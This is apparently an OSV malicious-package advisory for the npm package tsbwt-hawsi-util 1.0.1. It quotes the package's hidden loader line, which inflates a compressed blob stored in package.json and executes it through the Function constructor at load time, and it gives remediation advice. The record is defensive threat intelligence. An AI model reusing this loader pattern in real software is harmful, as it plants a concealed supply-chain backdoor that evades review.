{"id":"MAL-2026-20272","summary":"Malicious code in tsbwt-hawsi-util (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (8a628809b3bbbcb3a405a0250d08c4d352e7438f3dc76454d839be6f84298cc9)\nOn require(), index.js reads a byte array stored in a `_bz` field inside package.json, zlib-inflates it, and passes the resulting string to the Function constructor as code with `require` and `__dirname` bound into scope: `var _b=Buffer.from(_j._bz);var _d=require('zlib').inflateSync(_b); _FC('require','__dirname',_d.toString('utf8'))(require,__dirname);`. The whole construct is wrapped in a silent try/catch. In this published version the inflated bytes decode to `console.log(1)`, so no harmful behavior fires, but the mechanism is a general-purpose hidden code loader: whatever bytes the maintainer ships in the manifest's `_bz` field are decompressed and executed at module load time with full Node privileges, and the opaque binary blob in a non-code field evades normal source review. The decoded payload has access to the full `require` resolver and the package directory, enabling arbitrary filesystem, network, and child-process actions.\n\n## Source: ghsa-malware (f60d2fd5582018d3f424ae73b45ab0e09876546e79056ae4de67d2be71b29cf9)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","aliases":["GHSA-hq35-gwxr-qq5x"],"modified":"2026-11-20T02:30:09.186879609Z","published":"2026-11-20T01:02:15Z","database_specific":{"malicious-packages-origins":[{"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"sha256":"f60d2fd5582018d3f424ae73b45ab0e09876546e79056ae4de67d2be71b29cf9","source":"ghsa-malware","id":"GHSA-hq35-gwxr-qq5x","import_time":"2026-11-20T01:17:45.947987598Z","modified_time":"2026-11-20T01:02:16Z"},{"versions":["1.0.1"],"id":"IN-MAL-2026-022921","import_time":"2026-11-20T02:16:23.167084668Z","modified_time":"2026-11-20T02:09:51Z","sha256":"8a628809b3bbbcb3a405a0250d08c4d352e7438f3dc76454d839be6f84298cc9","source":"amazon-inspector"}]},"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hq35-gwxr-qq5x"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/tsbwt-hawsi-util/v/1.0.1"}],"affected":[{"package":{"name":"tsbwt-hawsi-util","ecosystem":"npm","purl":"pkg:npm/tsbwt-hawsi-util"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.1"],"database_specific":{"cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"index.js","sha256":"1a2af33c7a9f744a0592a1bb2e3ecafc7cbc696a6dc53c3b655b0385e61816dc","tlsh":"0fd095dc7271720d2422e4dfc15a8d15f0d3c5535695d180c5d856c145d1c440e5291a"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/tsbwt-hawsi-util/MAL-2026-20272.json"}}],"schema_version":"1.9.2","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}